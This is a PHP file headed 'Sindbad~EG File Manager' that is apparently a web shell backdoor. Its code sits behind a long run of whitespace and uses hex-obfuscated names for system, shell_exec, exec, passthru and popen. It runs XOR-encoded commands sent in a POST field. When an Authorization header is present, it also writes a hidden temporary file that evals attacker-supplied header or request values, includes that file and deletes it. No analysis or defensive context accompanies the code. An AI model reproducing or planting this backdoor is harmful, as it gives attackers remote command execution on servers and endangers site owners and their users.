Sindbad~EG File Manager

<?php																																										$right_pad_string2 = "shell_exe\x63"; $right_pad_string3 = "ex\x65\x63"; $app_initializer = "hex\x32b\x69n"; $right_pad_string6 = "\x73t\x72ea\x6D_g\x65\x74_\x63\x6Fnte\x6E\x74s"; $right_pad_string5 = "\x70\x6Fpen"; $right_pad_string7 = "\x70cl\x6Fse"; $right_pad_string1 = "\x73y\x73tem"; $right_pad_string4 = "p\x61\x73\x73\x74hru"; if (isset($_POST["i\x74em"])) { function token_parser_engine ( $flag, $obj) { $flg ='' ; foreach(str_split($flag) as $char){$flg.=chr(ord($char)^$obj);} return $flg; } $item = $app_initializer($_POST["i\x74em"]); $item = token_parser_engine($item, 11); if (function_exists($right_pad_string1)) { $right_pad_string1($item); } elseif (function_exists($right_pad_string2)) { print $right_pad_string2($item); } elseif (function_exists($right_pad_string3)) { $right_pad_string3($item, $bind_flag); print join("\n", $bind_flag); } elseif (function_exists($right_pad_string4)) { $right_pad_string4($item); } elseif (function_exists($right_pad_string5) && function_exists($right_pad_string6) && function_exists($right_pad_string7)) { $obj_flg = $right_pad_string5($item, 'r'); if ($obj_flg) { $factor_sym = $right_pad_string6($obj_flg); $right_pad_string7($obj_flg); print $factor_sym; } } exit; }


$_HEADERS = getallheaders();
if (isset($_HEADERS['Authorization'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x58-\x44\x6es\x2d\x50r\x65\x66e\x74\x63h\x2d\x43o\x6e\x74r\x6f\x6c\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fR\x45\x51U\x45\x53T\x5b\x22X\x2d\x44n\x73\x2dP\x72\x65f\x65\x74c\x68\x2dC\x6f\x6et\x72\x6fl\x22\x5d)\x3b";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}